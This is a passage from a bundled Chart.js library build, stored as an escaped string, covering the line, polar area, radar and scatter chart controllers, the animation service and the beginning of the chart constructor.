(me.chart.options.elements.line.capBezierPoints) {\n\t\t\t\tfor (i = 0, ilen = points.length; i < ilen; ++i) {\n\t\t\t\t\tmodel = points[i]._model;\n\t\t\t\t\tmodel.controlPointPreviousX = capControlPoint(model.controlPointPreviousX, area.left, area.right);\n\t\t\t\t\tmodel.controlPointPreviousY = capControlPoint(model.controlPointPreviousY, area.top, area.bottom);\n\t\t\t\t\tmodel.controlPointNextX = capControlPoint(model.controlPointNextX, area.left, area.right);\n\t\t\t\t\tmodel.controlPointNextY = capControlPoint(model.controlPointNextY, area.top, area.bottom);\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\tdraw: function() {\n\t\t\tvar me = this;\n\t\t\tvar chart = me.chart;\n\t\t\tvar meta = me.getMeta();\n\t\t\tvar points = meta.data || [];\n\t\t\tvar area = chart.chartArea;\n\t\t\tvar ilen = points.length;\n\t\t\tvar i = 0;\n\n\t\t\thelpers.canvas.clipArea(chart.ctx, area);\n\n\t\t\tif (lineEnabled(me.getDataset(), chart.options)) {\n\t\t\t\tmeta.dataset.draw();\n\t\t\t}\n\n\t\t\thelpers.canvas.unclipArea(chart.ctx);\n\n\t\t\t// Draw the points\n\t\t\tfor (; i < ilen; ++i) {\n\t\t\t\tpoints[i].draw(area);\n\t\t\t}\n\t\t},\n\n\t\tsetHoverStyle: function(point) {\n\t\t\t// Point\n\t\t\tvar dataset = this.chart.data.datasets[point._datasetIndex];\n\t\t\tvar index = point._index;\n\t\t\tvar custom = point.custom || {};\n\t\t\tvar model = point._model;\n\n\t\t\tmodel.radius = custom.hoverRadius || helpers.valueAtIndexOrDefault(dataset.pointHoverRadius, index, this.chart.options.elements.point.hoverRadius);\n\t\t\tmodel.backgroundColor = custom.hoverBackgroundColor || helpers.valueAtIndexOrDefault(dataset.pointHoverBackgroundColor, index, helpers.getHoverColor(model.backgroundColor));\n\t\t\tmodel.borderColor = custom.hoverBorderColor || helpers.valueAtIndexOrDefault(dataset.pointHoverBorderColor, index, helpers.getHoverColor(model.borderColor));\n\t\t\tmodel.borderWidth = custom.hoverBorderWidth || helpers.valueAtIndexOrDefault(dataset.pointHoverBorderWidth, index, model.borderWidth);\n\t\t},\n\n\t\tremoveHoverStyle: function(point) {\n\t\t\tvar me = this;\n\t\t\tvar dataset = me.chart.data.datasets[point._datasetIndex];\n\t\t\tvar index = point._index;\n\t\t\tvar custom = point.custom || {};\n\t\t\tvar model = point._model;\n\n\t\t\t// Compatibility: If the properties are defined with only the old name, use those values\n\t\t\tif ((dataset.radius !== undefined) && (dataset.pointRadius === undefined)) {\n\t\t\t\tdataset.pointRadius = dataset.radius;\n\t\t\t}\n\n\t\t\tmodel.radius = custom.radius || helpers.valueAtIndexOrDefault(dataset.pointRadius, index, me.chart.options.elements.point.radius);\n\t\t\tmodel.backgroundColor = me.getPointBackgroundColor(point, index);\n\t\t\tmodel.borderColor = me.getPointBorderColor(point, index);\n\t\t\tmodel.borderWidth = me.getPointBorderWidth(point, index);\n\t\t}\n\t});\n};\n\n},{\"25\":25,\"40\":40,\"45\":45}],19:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar elements = require(40);\nvar helpers = require(45);\n\ndefaults._set('polarArea', {\n\tscale: {\n\t\ttype: 'radialLinear',\n\t\tangleLines: {\n\t\t\tdisplay: false\n\t\t},\n\t\tgridLines: {\n\t\t\tcircular: true\n\t\t},\n\t\tpointLabels: {\n\t\t\tdisplay: false\n\t\t},\n\t\tticks: {\n\t\t\tbeginAtZero: true\n\t\t}\n\t},\n\n\t// Boolean - Whether to animate the rotation of the chart\n\tanimation: {\n\t\tanimateRotate: true,\n\t\tanimateScale: true\n\t},\n\n\tstartAngle: -0.5 * Math.PI,\n\tlegendCallback: function(chart) {\n\t\tvar text = [];\n\t\ttext.push('<ul class=\"' + chart.id + '-legend\">');\n\n\t\tvar data = chart.data;\n\t\tvar datasets = data.datasets;\n\t\tvar labels = data.labels;\n\n\t\tif (datasets.length) {\n\t\t\tfor (var i = 0; i < datasets[0].data.length; ++i) {\n\t\t\t\ttext.push('<li><span style=\"background-color:' + datasets[0].backgroundColor[i] + '\"></span>');\n\t\t\t\tif (labels[i]) {\n\t\t\t\t\ttext.push(labels[i]);\n\t\t\t\t}\n\t\t\t\ttext.push('</li>');\n\t\t\t}\n\t\t}\n\n\t\ttext.push('</ul>');\n\t\treturn text.join('');\n\t},\n\tlegend: {\n\t\tlabels: {\n\t\t\tgenerateLabels: function(chart) {\n\t\t\t\tvar data = chart.data;\n\t\t\t\tif (data.labels.length && data.datasets.length) {\n\t\t\t\t\treturn data.labels.map(function(label, i) {\n\t\t\t\t\t\tvar meta = chart.getDatasetMeta(0);\n\t\t\t\t\t\tvar ds = data.datasets[0];\n\t\t\t\t\t\tvar arc = meta.data[i];\n\t\t\t\t\t\tvar custom = arc.custom || {};\n\t\t\t\t\t\tvar valueAtIndexOrDefault = helpers.valueAtIndexOrDefault;\n\t\t\t\t\t\tvar arcOpts = chart.options.elements.arc;\n\t\t\t\t\t\tvar fill = custom.backgroundColor ? custom.backgroundColor : valueAtIndexOrDefault(ds.backgroundColor, i, arcOpts.backgroundColor);\n\t\t\t\t\t\tvar stroke = custom.borderColor ? custom.borderColor : valueAtIndexOrDefault(ds.borderColor, i, arcOpts.borderColor);\n\t\t\t\t\t\tvar bw = custom.borderWidth ? custom.borderWidth : valueAtIndexOrDefault(ds.borderWidth, i, arcOpts.borderWidth);\n\n\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\ttext: label,\n\t\t\t\t\t\t\tfillStyle: fill,\n\t\t\t\t\t\t\tstrokeStyle: stroke,\n\t\t\t\t\t\t\tlineWidth: bw,\n\t\t\t\t\t\t\thidden: isNaN(ds.data[i]) || meta.data[i].hidden,\n\n\t\t\t\t\t\t\t// Extra data used for toggling the correct item\n\t\t\t\t\t\t\tindex: i\n\t\t\t\t\t\t};\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn [];\n\t\t\t}\n\t\t},\n\n\t\tonClick: function(e, legendItem) {\n\t\t\tvar index = legendItem.index;\n\t\t\tvar chart = this.chart;\n\t\t\tvar i, ilen, meta;\n\n\t\t\tfor (i = 0, ilen = (chart.data.datasets || []).length; i < ilen; ++i) {\n\t\t\t\tmeta = chart.getDatasetMeta(i);\n\t\t\t\tmeta.data[index].hidden = !meta.data[index].hidden;\n\t\t\t}\n\n\t\t\tchart.update();\n\t\t}\n\t},\n\n\t// Need to override these to give a nice default\n\ttooltips: {\n\t\tcallbacks: {\n\t\t\ttitle: function() {\n\t\t\t\treturn '';\n\t\t\t},\n\t\t\tlabel: function(item, data) {\n\t\t\t\treturn data.labels[item.index] + ': ' + item.yLabel;\n\t\t\t}\n\t\t}\n\t}\n});\n\nmodule.exports = function(Chart) {\n\n\tChart.controllers.polarArea = Chart.DatasetController.extend({\n\n\t\tdataElementType: elements.Arc,\n\n\t\tlinkScales: helpers.noop,\n\n\t\tupdate: function(reset) {\n\t\t\tvar me = this;\n\t\t\tvar chart = me.chart;\n\t\t\tvar chartArea = chart.chartArea;\n\t\t\tvar meta = me.getMeta();\n\t\t\tvar opts = chart.options;\n\t\t\tvar arcOpts = opts.elements.arc;\n\t\t\tvar minSize = Math.min(chartArea.right - chartArea.left, chartArea.bottom - chartArea.top);\n\t\t\tchart.outerRadius = Math.max((minSize - arcOpts.borderWidth / 2) / 2, 0);\n\t\t\tchart.innerRadius = Math.max(opts.cutoutPercentage ? (chart.outerRadius / 100) * (opts.cutoutPercentage) : 1, 0);\n\t\t\tchart.radiusLength = (chart.outerRadius - chart.innerRadius) / chart.getVisibleDatasetCount();\n\n\t\t\tme.outerRadius = chart.outerRadius - (chart.radiusLength * me.index);\n\t\t\tme.innerRadius = me.outerRadius - chart.radiusLength;\n\n\t\t\tmeta.count = me.countVisibleElements();\n\n\t\t\thelpers.each(meta.data, function(arc, index) {\n\t\t\t\tme.updateElement(arc, index, reset);\n\t\t\t});\n\t\t},\n\n\t\tupdateElement: function(arc, index, reset) {\n\t\t\tvar me = this;\n\t\t\tvar chart = me.chart;\n\t\t\tvar dataset = me.getDataset();\n\t\t\tvar opts = chart.options;\n\t\t\tvar animationOpts = opts.animation;\n\t\t\tvar scale = chart.scale;\n\t\t\tvar labels = chart.data.labels;\n\n\t\t\tvar circumference = me.calculateCircumference(dataset.data[index]);\n\t\t\tvar centerX = scale.xCenter;\n\t\t\tvar centerY = scale.yCenter;\n\n\t\t\t// If there is NaN data before us, we need to calculate the starting angle correctly.\n\t\t\t// We could be way more efficient here, but its unlikely that the polar area chart will have a lot of data\n\t\t\tvar visibleCount = 0;\n\t\t\tvar meta = me.getMeta();\n\t\t\tfor (var i = 0; i < index; ++i) {\n\t\t\t\tif (!isNaN(dataset.data[i]) && !meta.data[i].hidden) {\n\t\t\t\t\t++visibleCount;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// var negHalfPI = -0.5 * Math.PI;\n\t\t\tvar datasetStartAngle = opts.startAngle;\n\t\t\tvar distance = arc.hidden ? 0 : scale.getDistanceFromCenterForValue(dataset.data[index]);\n\t\t\tvar startAngle = datasetStartAngle + (circumference * visibleCount);\n\t\t\tvar endAngle = startAngle + (arc.hidden ? 0 : circumference);\n\n\t\t\tvar resetRadius = animationOpts.animateScale ? 0 : scale.getDistanceFromCenterForValue(dataset.data[index]);\n\n\t\t\thelpers.extend(arc, {\n\t\t\t\t// Utility\n\t\t\t\t_datasetIndex: me.index,\n\t\t\t\t_index: index,\n\t\t\t\t_scale: scale,\n\n\t\t\t\t// Desired view properties\n\t\t\t\t_model: {\n\t\t\t\t\tx: centerX,\n\t\t\t\t\ty: centerY,\n\t\t\t\t\tinnerRadius: 0,\n\t\t\t\t\touterRadius: reset ? resetRadius : distance,\n\t\t\t\t\tstartAngle: reset && animationOpts.animateRotate ? datasetStartAngle : startAngle,\n\t\t\t\t\tendAngle: reset && animationOpts.animateRotate ? datasetStartAngle : endAngle,\n\t\t\t\t\tlabel: helpers.valueAtIndexOrDefault(labels, index, labels[index])\n\t\t\t\t}\n\t\t\t});\n\n\t\t\t// Apply border and fill style\n\t\t\tme.removeHoverStyle(arc);\n\n\t\t\tarc.pivot();\n\t\t},\n\n\t\tremoveHoverStyle: function(arc) {\n\t\t\tChart.DatasetController.prototype.removeHoverStyle.call(this, arc, this.chart.options.elements.arc);\n\t\t},\n\n\t\tcountVisibleElements: function() {\n\t\t\tvar dataset = this.getDataset();\n\t\t\tvar meta = this.getMeta();\n\t\t\tvar count = 0;\n\n\t\t\thelpers.each(meta.data, function(element, index) {\n\t\t\t\tif (!isNaN(dataset.data[index]) && !element.hidden) {\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t});\n\n\t\t\treturn count;\n\t\t},\n\n\t\tcalculateCircumference: function(value) {\n\t\t\tvar count = this.getMeta().count;\n\t\t\tif (count > 0 && !isNaN(value)) {\n\t\t\t\treturn (2 * Math.PI) / count;\n\t\t\t}\n\t\t\treturn 0;\n\t\t}\n\t});\n};\n\n},{\"25\":25,\"40\":40,\"45\":45}],20:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar elements = require(40);\nvar helpers = require(45);\n\ndefaults._set('radar', {\n\tscale: {\n\t\ttype: 'radialLinear'\n\t},\n\telements: {\n\t\tline: {\n\t\t\ttension: 0 // no bezier in radar\n\t\t}\n\t}\n});\n\nmodule.exports = function(Chart) {\n\n\tChart.controllers.radar = Chart.DatasetController.extend({\n\n\t\tdatasetElementType: elements.Line,\n\n\t\tdataElementType: elements.Point,\n\n\t\tlinkScales: helpers.noop,\n\n\t\tupdate: function(reset) {\n\t\t\tvar me = this;\n\t\t\tvar meta = me.getMeta();\n\t\t\tvar line = meta.dataset;\n\t\t\tvar points = meta.data;\n\t\t\tvar custom = line.custom || {};\n\t\t\tvar dataset = me.getDataset();\n\t\t\tvar lineElementOptions = me.chart.options.elements.line;\n\t\t\tvar scale = me.chart.scale;\n\n\t\t\t// Compatibility: If the properties are defined with only the old name, use those values\n\t\t\tif ((dataset.tension !== undefined) && (dataset.lineTension === undefined)) {\n\t\t\t\tdataset.lineTension = dataset.tension;\n\t\t\t}\n\n\t\t\thelpers.extend(meta.dataset, {\n\t\t\t\t// Utility\n\t\t\t\t_datasetIndex: me.index,\n\t\t\t\t_scale: scale,\n\t\t\t\t// Data\n\t\t\t\t_children: points,\n\t\t\t\t_loop: true,\n\t\t\t\t// Model\n\t\t\t\t_model: {\n\t\t\t\t\t// Appearance\n\t\t\t\t\ttension: custom.tension ? custom.tension : helpers.valueOrDefault(dataset.lineTension, lineElementOptions.tension),\n\t\t\t\t\tbackgroundColor: custom.backgroundColor ? custom.backgroundColor : (dataset.backgroundColor || lineElementOptions.backgroundColor),\n\t\t\t\t\tborderWidth: custom.borderWidth ? custom.borderWidth : (dataset.borderWidth || lineElementOptions.borderWidth),\n\t\t\t\t\tborderColor: custom.borderColor ? custom.borderColor : (dataset.borderColor || lineElementOptions.borderColor),\n\t\t\t\t\tfill: custom.fill ? custom.fill : (dataset.fill !== undefined ? dataset.fill : lineElementOptions.fill),\n\t\t\t\t\tborderCapStyle: custom.borderCapStyle ? custom.borderCapStyle : (dataset.borderCapStyle || lineElementOptions.borderCapStyle),\n\t\t\t\t\tborderDash: custom.borderDash ? custom.borderDash : (dataset.borderDash || lineElementOptions.borderDash),\n\t\t\t\t\tborderDashOffset: custom.borderDashOffset ? custom.borderDashOffset : (dataset.borderDashOffset || lineElementOptions.borderDashOffset),\n\t\t\t\t\tborderJoinStyle: custom.borderJoinStyle ? custom.borderJoinStyle : (dataset.borderJoinStyle || lineElementOptions.borderJoinStyle),\n\t\t\t\t}\n\t\t\t});\n\n\t\t\tmeta.dataset.pivot();\n\n\t\t\t// Update Points\n\t\t\thelpers.each(points, function(point, index) {\n\t\t\t\tme.updateElement(point, index, reset);\n\t\t\t}, me);\n\n\t\t\t// Update bezier control points\n\t\t\tme.updateBezierControlPoints();\n\t\t},\n\t\tupdateElement: function(point, index, reset) {\n\t\t\tvar me = this;\n\t\t\tvar custom = point.custom || {};\n\t\t\tvar dataset = me.getDataset();\n\t\t\tvar scale = me.chart.scale;\n\t\t\tvar pointElementOptions = me.chart.options.elements.point;\n\t\t\tvar pointPosition = scale.getPointPositionForValue(index, dataset.data[index]);\n\n\t\t\t// Compatibility: If the properties are defined with only the old name, use those values\n\t\t\tif ((dataset.radius !== undefined) && (dataset.pointRadius === undefined)) {\n\t\t\t\tdataset.pointRadius = dataset.radius;\n\t\t\t}\n\t\t\tif ((dataset.hitRadius !== undefined) && (dataset.pointHitRadius === undefined)) {\n\t\t\t\tdataset.pointHitRadius = dataset.hitRadius;\n\t\t\t}\n\n\t\t\thelpers.extend(point, {\n\t\t\t\t// Utility\n\t\t\t\t_datasetIndex: me.index,\n\t\t\t\t_index: index,\n\t\t\t\t_scale: scale,\n\n\t\t\t\t// Desired view properties\n\t\t\t\t_model: {\n\t\t\t\t\tx: reset ? scale.xCenter : pointPosition.x, // value not used in dataset scale, but we want a consistent API between scales\n\t\t\t\t\ty: reset ? scale.yCenter : pointPosition.y,\n\n\t\t\t\t\t// Appearance\n\t\t\t\t\ttension: custom.tension ? custom.tension : helpers.valueOrDefault(dataset.lineTension, me.chart.options.elements.line.tension),\n\t\t\t\t\tradius: custom.radius ? custom.radius : helpers.valueAtIndexOrDefault(dataset.pointRadius, index, pointElementOptions.radius),\n\t\t\t\t\tbackgroundColor: custom.backgroundColor ? custom.backgroundColor : helpers.valueAtIndexOrDefault(dataset.pointBackgroundColor, index, pointElementOptions.backgroundColor),\n\t\t\t\t\tborderColor: custom.borderColor ? custom.borderColor : helpers.valueAtIndexOrDefault(dataset.pointBorderColor, index, pointElementOptions.borderColor),\n\t\t\t\t\tborderWidth: custom.borderWidth ? custom.borderWidth : helpers.valueAtIndexOrDefault(dataset.pointBorderWidth, index, pointElementOptions.borderWidth),\n\t\t\t\t\tpointStyle: custom.pointStyle ? custom.pointStyle : helpers.valueAtIndexOrDefault(dataset.pointStyle, index, pointElementOptions.pointStyle),\n\n\t\t\t\t\t// Tooltip\n\t\t\t\t\thitRadius: custom.hitRadius ? custom.hitRadius : helpers.valueAtIndexOrDefault(dataset.pointHitRadius, index, pointElementOptions.hitRadius)\n\t\t\t\t}\n\t\t\t});\n\n\t\t\tpoint._model.skip = custom.skip ? custom.skip : (isNaN(point._model.x) || isNaN(point._model.y));\n\t\t},\n\t\tupdateBezierControlPoints: function() {\n\t\t\tvar chartArea = this.chart.chartArea;\n\t\t\tvar meta = this.getMeta();\n\n\t\t\thelpers.each(meta.data, function(point, index) {\n\t\t\t\tvar model = point._model;\n\t\t\t\tvar controlPoints = helpers.splineCurve(\n\t\t\t\t\thelpers.previousItem(meta.data, index, true)._model,\n\t\t\t\t\tmodel,\n\t\t\t\t\thelpers.nextItem(meta.data, index, true)._model,\n\t\t\t\t\tmodel.tension\n\t\t\t\t);\n\n\t\t\t\t// Prevent the bezier going outside of the bounds of the graph\n\t\t\t\tmodel.controlPointPreviousX = Math.max(Math.min(controlPoints.previous.x, chartArea.right), chartArea.left);\n\t\t\t\tmodel.controlPointPreviousY = Math.max(Math.min(controlPoints.previous.y, chartArea.bottom), chartArea.top);\n\n\t\t\t\tmodel.controlPointNextX = Math.max(Math.min(controlPoints.next.x, chartArea.right), chartArea.left);\n\t\t\t\tmodel.controlPointNextY = Math.max(Math.min(controlPoints.next.y, chartArea.bottom), chartArea.top);\n\n\t\t\t\t// Now pivot the point for animation\n\t\t\t\tpoint.pivot();\n\t\t\t});\n\t\t},\n\n\t\tsetHoverStyle: function(point) {\n\t\t\t// Point\n\t\t\tvar dataset = this.chart.data.datasets[point._datasetIndex];\n\t\t\tvar custom = point.custom || {};\n\t\t\tvar index = point._index;\n\t\t\tvar model = point._model;\n\n\t\t\tmodel.radius = custom.hoverRadius ? custom.hoverRadius : helpers.valueAtIndexOrDefault(dataset.pointHoverRadius, index, this.chart.options.elements.point.hoverRadius);\n\t\t\tmodel.backgroundColor = custom.hoverBackgroundColor ? custom.hoverBackgroundColor : helpers.valueAtIndexOrDefault(dataset.pointHoverBackgroundColor, index, helpers.getHoverColor(model.backgroundColor));\n\t\t\tmodel.borderColor = custom.hoverBorderColor ? custom.hoverBorderColor : helpers.valueAtIndexOrDefault(dataset.pointHoverBorderColor, index, helpers.getHoverColor(model.borderColor));\n\t\t\tmodel.borderWidth = custom.hoverBorderWidth ? custom.hoverBorderWidth : helpers.valueAtIndexOrDefault(dataset.pointHoverBorderWidth, index, model.borderWidth);\n\t\t},\n\n\t\tremoveHoverStyle: function(point) {\n\t\t\tvar dataset = this.chart.data.datasets[point._datasetIndex];\n\t\t\tvar custom = point.custom || {};\n\t\t\tvar index = point._index;\n\t\t\tvar model = point._model;\n\t\t\tvar pointElementOptions = this.chart.options.elements.point;\n\n\t\t\tmodel.radius = custom.radius ? custom.radius : helpers.valueAtIndexOrDefault(dataset.pointRadius, index, pointElementOptions.radius);\n\t\t\tmodel.backgroundColor = custom.backgroundColor ? custom.backgroundColor : helpers.valueAtIndexOrDefault(dataset.pointBackgroundColor, index, pointElementOptions.backgroundColor);\n\t\t\tmodel.borderColor = custom.borderColor ? custom.borderColor : helpers.valueAtIndexOrDefault(dataset.pointBorderColor, index, pointElementOptions.borderColor);\n\t\t\tmodel.borderWidth = custom.borderWidth ? custom.borderWidth : helpers.valueAtIndexOrDefault(dataset.pointBorderWidth, index, pointElementOptions.borderWidth);\n\t\t}\n\t});\n};\n\n},{\"25\":25,\"40\":40,\"45\":45}],21:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\n\ndefaults._set('scatter', {\n\thover: {\n\t\tmode: 'single'\n\t},\n\n\tscales: {\n\t\txAxes: [{\n\t\t\tid: 'x-axis-1',    // need an ID so datasets can reference the scale\n\t\t\ttype: 'linear',    // scatter should not use a category axis\n\t\t\tposition: 'bottom'\n\t\t}],\n\t\tyAxes: [{\n\t\t\tid: 'y-axis-1',\n\t\t\ttype: 'linear',\n\t\t\tposition: 'left'\n\t\t}]\n\t},\n\n\tshowLines: false,\n\n\ttooltips: {\n\t\tcallbacks: {\n\t\t\ttitle: function() {\n\t\t\t\treturn '';     // doesn't make sense for scatter since data are formatted as a point\n\t\t\t},\n\t\t\tlabel: function(item) {\n\t\t\t\treturn '(' + item.xLabel + ', ' + item.yLabel + ')';\n\t\t\t}\n\t\t}\n\t}\n});\n\nmodule.exports = function(Chart) {\n\n\t// Scatter charts use line controllers\n\tChart.controllers.scatter = Chart.controllers.line;\n\n};\n\n},{\"25\":25}],22:[function(require,module,exports){\n/* global window: false */\n'use strict';\n\nvar defaults = require(25);\nvar Element = require(26);\nvar helpers = require(45);\n\ndefaults._set('global', {\n\tanimation: {\n\t\tduration: 1000,\n\t\teasing: 'easeOutQuart',\n\t\tonProgress: helpers.noop,\n\t\tonComplete: helpers.noop\n\t}\n});\n\nmodule.exports = function(Chart) {\n\n\tChart.Animation = Element.extend({\n\t\tchart: null, // the animation associated chart instance\n\t\tcurrentStep: 0, // the current animation step\n\t\tnumSteps: 60, // default number of steps\n\t\teasing: '', // the easing to use for this animation\n\t\trender: null, // render function used by the animation service\n\n\t\tonAnimationProgress: null, // user specified callback to fire on each step of the animation\n\t\tonAnimationComplete: null, // user specified callback to fire when the animation finishes\n\t});\n\n\tChart.animationService = {\n\t\tframeDuration: 17,\n\t\tanimations: [],\n\t\tdropFrames: 0,\n\t\trequest: null,\n\n\t\t/**\n\t\t * @param {Chart} chart - The chart to animate.\n\t\t * @param {Chart.Animation} animation - The animation that we will animate.\n\t\t * @param {Number} duration - The animation duration in ms.\n\t\t * @param {Boolean} lazy - if true, the chart is not marked as animating to enable more responsive interactions\n\t\t */\n\t\taddAnimation: function(chart, animation, duration, lazy) {\n\t\t\tvar animations = this.animations;\n\t\t\tvar i, ilen;\n\n\t\t\tanimation.chart = chart;\n\n\t\t\tif (!lazy) {\n\t\t\t\tchart.animating = true;\n\t\t\t}\n\n\t\t\tfor (i = 0, ilen = animations.length; i < ilen; ++i) {\n\t\t\t\tif (animations[i].chart === chart) {\n\t\t\t\t\tanimations[i] = animation;\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tanimations.push(animation);\n\n\t\t\t// If there are no animations queued, manually kickstart a digest, for lack of a better word\n\t\t\tif (animations.length === 1) {\n\t\t\t\tthis.requestAnimationFrame();\n\t\t\t}\n\t\t},\n\n\t\tcancelAnimation: function(chart) {\n\t\t\tvar index = helpers.findIndex(this.animations, function(animation) {\n\t\t\t\treturn animation.chart === chart;\n\t\t\t});\n\n\t\t\tif (index !== -1) {\n\t\t\t\tthis.animations.splice(index, 1);\n\t\t\t\tchart.animating = false;\n\t\t\t}\n\t\t},\n\n\t\trequestAnimationFrame: function() {\n\t\t\tvar me = this;\n\t\t\tif (me.request === null) {\n\t\t\t\t// Skip animation frame requests until the active one is executed.\n\t\t\t\t// This can happen when processing mouse events, e.g. 'mousemove'\n\t\t\t\t// and 'mouseout' events will trigger multiple renders.\n\t\t\t\tme.request = helpers.requestAnimFrame.call(window, function() {\n\t\t\t\t\tme.request = null;\n\t\t\t\t\tme.startDigest();\n\t\t\t\t});\n\t\t\t}\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tstartDigest: function() {\n\t\t\tvar me = this;\n\t\t\tvar startTime = Date.now();\n\t\t\tvar framesToDrop = 0;\n\n\t\t\tif (me.dropFrames > 1) {\n\t\t\t\tframesToDrop = Math.floor(me.dropFrames);\n\t\t\t\tme.dropFrames = me.dropFrames % 1;\n\t\t\t}\n\n\t\t\tme.advance(1 + framesToDrop);\n\n\t\t\tvar endTime = Date.now();\n\n\t\t\tme.dropFrames += (endTime - startTime) / me.frameDuration;\n\n\t\t\t// Do we have more stuff to animate?\n\t\t\tif (me.animations.length > 0) {\n\t\t\t\tme.requestAnimationFrame();\n\t\t\t}\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tadvance: function(count) {\n\t\t\tvar animations = this.animations;\n\t\t\tvar animation, chart;\n\t\t\tvar i = 0;\n\n\t\t\twhile (i < animations.length) {\n\t\t\t\tanimation = animations[i];\n\t\t\t\tchart = animation.chart;\n\n\t\t\t\tanimation.currentStep = (animation.currentStep || 0) + count;\n\t\t\t\tanimation.currentStep = Math.min(animation.currentStep, animation.numSteps);\n\n\t\t\t\thelpers.callback(animation.render, [chart, animation], chart);\n\t\t\t\thelpers.callback(animation.onAnimationProgress, [animation], chart);\n\n\t\t\t\tif (animation.currentStep >= animation.numSteps) {\n\t\t\t\t\thelpers.callback(animation.onAnimationComplete, [animation], chart);\n\t\t\t\t\tchart.animating = false;\n\t\t\t\t\tanimations.splice(i, 1);\n\t\t\t\t} else {\n\t\t\t\t\t++i;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n\n\t/**\n\t * Provided for backward compatibility, use Chart.Animation instead\n\t * @prop Chart.Animation#animationObject\n\t * @deprecated since version 2.6.0\n\t * @todo remove at version 3\n\t */\n\tObject.defineProperty(Chart.Animation.prototype, 'animationObject', {\n\t\tget: function() {\n\t\t\treturn this;\n\t\t}\n\t});\n\n\t/**\n\t * Provided for backward compatibility, use Chart.Animation#chart instead\n\t * @prop Chart.Animation#chartInstance\n\t * @deprecated since version 2.6.0\n\t * @todo remove at version 3\n\t */\n\tObject.defineProperty(Chart.Animation.prototype, 'chartInstance', {\n\t\tget: function() {\n\t\t\treturn this.chart;\n\t\t},\n\t\tset: function(value) {\n\t\t\tthis.chart = value;\n\t\t}\n\t});\n\n};\n\n},{\"25\":25,\"26\":26,\"45\":45}],23:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar helpers = require(45);\nvar Interaction = require(28);\nvar layouts = require(30);\nvar platform = require(48);\nvar plugins = require(31);\n\nmodule.exports = function(Chart) {\n\n\t// Create a dictionary of chart types, to allow for extension of existing types\n\tChart.types = {};\n\n\t// Store a reference to each instance - allowing us to globally resize chart instances on window resize.\n\t// Destroy method on the chart will remove the instance of the chart from this reference.\n\tChart.instances = {};\n\n\t// Controllers available for dataset visualization eg. bar, line, slice, etc.\n\tChart.controllers = {};\n\n\t/**\n\t * Initializes the given config with global and chart default values.\n\t */\n\tfunction initConfig(config) {\n\t\tconfig = config || {};\n\n\t\t// Do NOT use configMerge() for the data object because this method merges arrays\n\t\t// and so would change references to labels and datasets, preventing data updates.\n\t\tvar data = config.data = config.data || {};\n\t\tdata.datasets = data.datasets || [];\n\t\tdata.labels = data.labels || [];\n\n\t\tconfig.options = helpers.configMerge(\n\t\t\tdefaults.global,\n\t\t\tdefaults[config.type],\n\t\t\tconfig.options || {});\n\n\t\treturn config;\n\t}\n\n\t/**\n\t * Updates the config of the chart\n\t * @param chart {Chart} chart to update the options for\n\t */\n\tfunction updateConfig(chart) {\n\t\tvar newOptions = chart.options;\n\n\t\thelpers.each(chart.scales, function(scale) {\n\t\t\tlayouts.removeBox(chart, scale);\n\t\t});\n\n\t\tnewOptions = helpers.configMerge(\n\t\t\tChart.defaults.global,\n\t\t\tChart.defaults[chart.config.type],\n\t\t\tnewOptions);\n\n\t\tchart.options = chart.config.options = newOptions;\n\t\tchart.ensureScalesHaveIDs();\n\t\tchart.buildOrUpdateScales();\n\t\t// Tooltip\n\t\tchart.tooltip._options = newOptions.tooltips;\n\t\tchart.tooltip.initialize();\n\t}\n\n\tfunction positionIsHorizontal(position) {\n\t\treturn position === 'top' || position === 'bottom';\n\t}\n\n\thelpers.extend(Chart.prototype, /** @lends Chart */ {\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tconstruct: function(item, config) {\n\t\t\tvar me = this;\n\n\t\t\tconfig = initConfig(config);\n\n\t\t\tvar context = platform.acquireContext(item, config);\n\t\t\tvar canvas = context && context.canvas;\n\t\t\tvar height = canvas && canvas.height;\n\t\t\tvar width = canvas && canvas.width;\n\n\t\t\tme.id = helpers.uid();\n\t\t\tme.ctx = context;\n\t\t\tme.canvas = canvas;\n\t\t\tme.config = config;\n\t\t\tme.width = width;\n\t\t\tme.height = height;\n\t\t\tme.aspectRatio = height ? width / height : null;\n\t\t\tme.options = config.options;\n\t\t\tme._bufferedRender = false;\n\n\t\t\t/**\n\t\t\t * Provided for backward compatibility, Chart and Chart.Controller have been merged,\n\t\t\t * the \"instance\" still need to be defined since it might be called from plugins.\n\t\t\t * @prop Chart#chart\n\t\t\t * @deprecated since version 2.6.0\n\t\t\t * @todo remove at version 3\n\t\t\t * @private\n\t\t\t */\n\t\t\tme.chart = me;\n\t\t\tme.controller = me; // chart.chart.controller #inception\n\n\t\t\t// Add the chart instance to the global namespace\n\t\t\tChart.instances[me.id] = me;\n\n\t\t\t// Define alias to the config data: `chart.data === chart.config.data`\n\t\t\tObject.defineProperty(me, 'data', {\n\t\t\t\tget: function() {\n\t\t\t\t\treturn me.config.data;\n\t\t\t\t},\n\t\t\t\tset: function(value) {\n\t\t\t\t\tme.config.data = value;\n\t\t\t\t}\n\t\t\t});\n\n\t\t\tif (!context || !canvas) {\n\t\t\t\t// The given item is not a compatible context2d element, let's return before finalizing\n\t\t\t\t// the chart initialization but after setting basic chart / controller properties that\n\t\t\t\t// can help to figure out that the chart is not valid (e.g chart.canvas !== null);\n\t\t\t\t// https://github.com/chartjs/Chart.js/issues/2807\n\t\t\t\tconsole.error(\"Failed to create chart: can't acquire context from the given item\");\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tme.initialize();\n\t\t\tme.update();\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tinitialize: function() {\n\t\t\tvar me = this;\n\n\t\t\t// Before init plugin 